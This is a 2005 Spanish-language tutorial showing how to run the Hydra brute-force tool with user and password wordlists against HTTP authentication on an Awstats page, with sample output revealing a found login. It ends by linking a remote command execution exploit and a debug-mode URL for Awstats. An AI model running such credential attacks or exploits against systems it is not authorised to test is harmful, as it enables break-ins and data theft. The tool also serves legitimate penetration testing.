

Utilizando Hydra (Paper 1)

by Nikyt0x@gmail.com

Fecha: 06/05/05

En este primer Paper explicare que es "Hydra" y veremos como utilizarlo para realizar pruebas de usuarios y contraseñas a un Archivo con autentificacion.

Hydra es un herramienta codeada por Van Hauser - THC (<http://www.thc.org>), la cual es utilizada para realizar pruebas de Fuerza Bruta en distintos Servicios:

TELNET, FTP, HTTP, HTTPS, HTTP-PROXY, LDAP2, LADP3, SMB, SMBNT, MS-SQL, MYSQL, REXEC, SOCKS5, VNC, POP3, IMAP, NNTP, PCNFS, ICQ, SAP/R3, Cisco auth, Cisco enable, SMTP-AUTH, SSH2, SNMP, CVS, Cisco AAA.

Esta herramienta funciona sobre las plataformas:

All UNIX platforms (linux, *bsd, solaris, etc.)
Mac OS/X
Windows with Cygwin (both ipv4 and ipv6)
Mobile systems with ARM processors and Linux (e.g. Zaurus, iPaq)
PalmOS

Ahora veremos como hacer un ataque Brute Force a un Fichero con autentificacion, para ser mas especificos, es el Fichero de Sistemas de Estadisticas Awstats.

Ejecutaremos el programa de la siguiente manera (Windows) :

```
C:\WINDOWS\Escritorio\hydra>hydra.exe -L usuarios.txt -P passwords.txt -o result
ados.txt www.host.com http /awstats/awstats.pl
```

La opcion -L permite especificar el archivo con la lista de usuarios.

La opcion -P permite especificar el archivo con la lista de contraseñas.

La opcion -o permite especificar el archivo "output" (salida) donde se muestra el resultado.

A continuacion de esto escribimos el servidor al cual queremos testear.

Despues el protocolo, en este caso, http.

Y por ultimo, el archivo nos pide autentificacion (/awstats/awstats.pl)

Despues de esto y si tenemos suerte veremos algo similar a:

```
C:\WINDOWS\Escritorio\hydra>hydra.exe -L usuarios.txt -P passwords.txt -o result
ados.txt www.host.com http /awstats/awstats.pl
```

Hydra v4.6 (c) 2005 by van Hauser / THC - use allowed only for legal purposes.

Hydra (<http://www.thc.org>) starting at 2005-05-06 01:46:13

[DATA] 16 tasks, 1 servers, 42 login tries (l:7/p:6), ~2 tries per task

[DATA] attacking service www on port 80

[STATUS] attack finished for www.host.com (waiting for childs to finish)

```
[80][www] host: xxx.xxx.xxx.xxx login: admin31 password: awstats31
```

```
Hydra (http://www.thc.org) finished at 2005-05-06 01:46:19
```

Como vemos hemos encontrado un logeo correcto:

login: admin31 password: awstats31

Ahora tenemos acceso al Sistemas de Estadísticas Awstats.

*** Vulnerabilidades en Awstats Recientes:**

->Existen 3 Vulnerabilidades que permiten la ejecución remota de Comandos:

Exploit 3 en 1 (codeado en C)

<http://www.milw0rm.com/id.php?id=840>

->Se puede obtener información importante activando Debug Mode

<http://www.host.com/awstats/awstats.pl?debug=4>

**<http://www.soulblack.com.ar>
[nikyt0x@gmail.com]**